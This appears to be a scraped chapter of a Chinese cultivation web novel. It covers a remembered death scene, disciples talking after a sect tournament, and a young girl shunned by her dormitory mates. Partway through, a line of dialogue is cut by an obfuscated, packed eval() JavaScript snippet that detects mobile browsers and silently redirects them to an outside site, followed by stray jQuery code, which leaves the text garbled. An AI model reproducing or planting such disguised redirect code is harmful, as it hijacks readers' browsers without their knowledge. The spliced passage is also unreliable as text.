【身后的舫船已浸没于冲天火光,薛桦却未再回望,他纵身点水,踏波疾行,直追向烟波深处一叶将逝的扁舟。
那叶扁舟行驶得不算快,薛桦落定船头时,唯见一个披蓑的毛头小子,紧握着鱼叉,狠狠瞪视着他,仿佛下一瞬便要扑来拼命。
“小城……让他进来吧。”
床舱内传来女人虚弱的声音。
毛头小子听见这声音,有泪忽然流下,但还是后退到了船舷旁,让出了通路。
薛桦俯身入舱。这窄小的空间仅容二人对坐,一个女子正斜倚舱壁,腹部鲜血汩汩,浸透一身红衣,与血已然难辨。向来绾得精致的云鬓也已散乱,唯有垂落青丝间那张苍白的脸,依然美得令人屏息。
“你……何必来追,”赤漪夫人轻勾嘴角,“我定然……活不过今晚了。”
薛桦望着她,面露不忍,却依然默然不语,只将腰间剑柄握得更紧。
“哈哈哈,没想到我赤漪竟还能……劳你亲自追上来补刀,真是高看我了咳咳咳!”她笑声沙哑,骤然剧咳起来,鲜血自唇间漫涌,染红了半边脸颊。
“没想到,我竟会死在你的手里,明明只是区区……”赤漪的声音越发变轻,头也低了下去,像是精神开始涣散,“……看见你,有时候,会想起她……她还好吗?”
薛桦凝视着赤涟,良久后他才叹息般地开口:“她如今很好。”
“呵呵,”赤漪低低一,笑,“那就好……无论你们如何……但,是她……还不错……谢谢……”
忽然,女人的脚往前一滑,身体彻底软倒。薛桦默然,起身抽出了剑。
少顷,他掀帘而出,身影掠过湖面,悄然远去。一直守在舱外的少年急忙冲入舱内。
旋即安静开阔的湖面上响起惊雷般的哭声,像是传说中远洋上巨鲸的悲鸣,在月夜的水波间久久回荡。】
以上,就是《苍华巅》中赤漪夫人下线时的所有描写。
在小说里,赤漪的存在其实很背景板,因为在舫洲的剧情主要都围绕龙傲天和花魁了,后续查出舫洲和魔族有勾结,修真界才下手,对赤漪赶尽杀绝。
当时恰逢花魁为救龙傲天被奸佞下毒,需要至亲之人的心头血解毒,薛桦才取赤漪心脏,回去救了花魁。
然而花魁在苏醒后得知自己竟是靠姐姐的生命才得以重生,一时悲绝,自缢而去。后得薛桦于秘境中取回水莲,重塑肉身,花魁才得以忘却前尘,再次回魂复活。
而在电视剧中,花魁却没有后续复活的经过,她的魂魄在薛桦取回水莲前就自行散去,被无数观众称为意难平。
萧念白当初看小说的时候没想那么多,就是觉得石悦晴搞得太儿戏了,怎么一会儿活一会儿死,还整出个失忆来。但现在,回想着施妤灵方才哭哭笑笑的样子,他又觉得自己是不是认错人了。
不过是个生得娇俏些的小女郎,怎就会在未来岁月里蜕变为那个绮艳靡丽的舫洲之主了。
而那曾与她有过旧日友谊的龙傲天,竟也当真为红颜拔剑向故人。
萧念白有些想不过来了,穿越后,他作为知晓后续情节的‘天眼’,竟第一次有了如此复杂的情绪。不想相信,却又不得不信。
这世间事,难道真能如此翻覆无情?
“瑶堇,你怎么也过来了。”楚翊峥不知何时也走过来,他顺着三人的视线望向在高墙边休息的燕宴和薛桦,不仅叹道:“那小子的战力不错,才十二岁,竟然就能对灵力如此收放有度,若能走到最后,必得掌门亲传……不过,最让我惊讶的是那个女孩,弱是弱了些,但观察很敏锐,也懂得配合,这场比试里并不算拖后腿。”
“楚师兄慧眼识英才。”连月浅略一点头,“正是道出了我心中的想法。”
“连师妹谬赞。”楚翊峥偏开视线不敢看连月浅,嘴里却依然赞道:“不过那小姑娘如今能行动自如,全靠连师妹妙手回春,我甚是佩服。”
“楚师兄过誉了。”
萧念白瞥眼看向楚翊峥发红的耳廓,心中不禁暗笑,只要楚翊峥在,此情此景果然少不了一句连师妹医术高超——这算不算一种会自动触发的底层代码。
“但我觉得子桑师兄突然要改规则,又许一次他们双人作战,未免也太过儿戏了。”楚瑶堇也望向薛桦,“我看秦怀瑜那小子脸色可不好,后面的比赛这两人要是再对上,估计还有好戏看。”
“子桑师兄那么做,大概也是看出许多弟子心中尚存犹豫。”萧念白看着已经三三两两开始过去登记挑战的弟子,“有人先行一步总是好的。”
况且子桑聿的确取巧,两边各带一名未晋级者,无论是哪边赢了,对其他不在榜的人都是一种激励。
“子桑师兄说的没错,掌门此举也是为了使擢真大会更加公平。”连月浅轻声为这场对话画上了句号,“我们也赶紧回归各位吧,今天恐怕还有得忙的。”
“连师妹说的是。”
……
截止黄昏之前,据统计,发起挑战者共有七十三人,成功者十六人。不难看出秦语诚是对这个数字松了一口气的,子桑聿倒也没有其他表示,依然笑眯眯地和众人告别,御剑而去。
连月浅在走之前还特意去看了一次燕宴,见她确实没有大碍后,递给她了一个小布袋,温声嘱咐道:“这里面有一些跌打损伤膏,你回去后这几日早晚都要涂,记得把此袋切身保管,平时活动使若有不适,也要及时上药。”
燕宴心中感激不已,接连向连月浅深深鞠躬致谢。连月浅只是含笑看着她,抬手轻轻抚了抚她的发顶。
那掌心传来的温度柔软而温暖,让燕宴不禁红了脸颊。直到连月浅转身离去,她才慢慢握紧了手中那只布袋,指尖微微发烫。
施妤灵凑在燕宴身边,感叹道:“碧澜峰的人都挺好的啊,师姐这么温柔,药都给你配好了……师兄也不错,你摔出去还给你垫了一下,就是看着有点太正经了。”
燕宴点头。
薛桦则看着两个远去的蓝衣身影,目光若有所思:“我听闻碧澜峰地亲传大弟子自持天资,性格孤傲,待人冷漠至极不留余地,如今看来或许是谣传。谈不上性冷,只是神色略淡了些。”
“呵,你还说人家呢。”施妤灵不屑道:“我看你待人也是惯会装模作样的,你以为大家就很喜欢你吗?”
薛桦看向施妤灵,心生恼火:“你为什么总要怼我?我自认为没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936777|192641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有得罪过你,都是你单方面在挑刺。”
“我可没有,本姑娘讨厌人向来有理有据!”
“我们回去吧!”燕宴难得大声起来。她先看向薛桦:“薛桦,你不累吗?我和阿灵先回去休息了,你也和同门去吃饭吧。”
薛桦其实很想告诉燕宴离施妤灵远些,但见对方难得一脸恳求,也不得不点点头,瞥了眼施妤灵,转身走了。
燕宴松了一口气,转头却看施妤灵一脸感动地望向自己。
“怎么了?”
“你喊我阿灵啊,真好!”
施妤灵又搂住了燕宴,亲昵道:“那我该喊你什么,小燕?阿燕?话说,你不觉得你名字有点拗口吗?燕宴,燕、宴。”
“你喊我……燕燕就行。”燕宴有些不好意思。
“燕燕?这是你的小名吗?”施妤灵好奇道。
“嗯。”燕宴点点头,“算是吧……”
两人又打闹了一会儿,用过晚膳后,天色已暗,燕宴才迈着轻快的步子,重新回到了十八号舍馆。
方一开门,燕宴就察觉到了有些不对劲。
太安静了。
明明方才在门外还能听见的依稀人声,可自己一进来,所有人却都不再说话,陡然安静地看向自己。
所有目光无声地聚拢过来,燕宴不由得屏住呼吸,微微向后瑟缩。可下一秒,大家居然就忽然恢复如常,各自沉默地收起了行礼,乒乒乓乓的响声又响了起来。
燕宴默默回到自己的床铺。邻床的女孩将两件衣衫摊在她这边,见她走近,便绷着脸一把将衣服收走,布料拂过处,将燕宴的床褥也带乱了几分。
燕宴原本想说没关系,可以用,但女孩已经扭过头,没再给她开口的余地。
她坐在床沿,悄悄环视,却发现十八号舍馆中居然所有人都在整理行囊——莫非除了自己,舍馆中居然没人再入选?
“看什么看!”视线不经意撞上对面的女孩,对方狠狠瞪来一眼。燕宴忙摆了摆手,那女孩却只冷哼一声,“平日里就阴沉沉的,真晦气。”说罢便转身背对着她。
燕宴不敢再乱瞟,假装开始整理自己的床,身后却传来若有若无的议论声,一时间,傻人有傻福、拜高踩低、心机、走不长远这样的词争先恐后地钻入她的耳朵里。
燕宴感到无所适从。
她隐隐察觉到,恐怕这里自己不能再呆下去了。
于是她佯装想起什么要紧物事忘了取,匆匆抓起连月浅给的那只小布袋,推开舍馆大门退了出去。
她步伐匆匆地离开舍馆,越走越快,最后竟控制不住地奔跑起来。月挂中天,她又奔进了那片竹林里,奔到了那片小溪旁。
燕宴站在溪水边,怔怔地看着水里倒悬的月亮。她知道大家在想什么,那其实也正是她在思考的。
仿佛一块突兀的石头,被人硬生生抛至众目睽睽之下。比起从前被弃在路边的无视,此刻更多笃信它德不配位的人,都恨不得迫不及待地将它狠狠敲开,看看那内里究竟有没有藏着宝物。
而她呢,她真的是块璞玉,还是平平无奇的凡石?
树林里有风吹过,云影无声漫过天穹,终于遮蔽了月亮。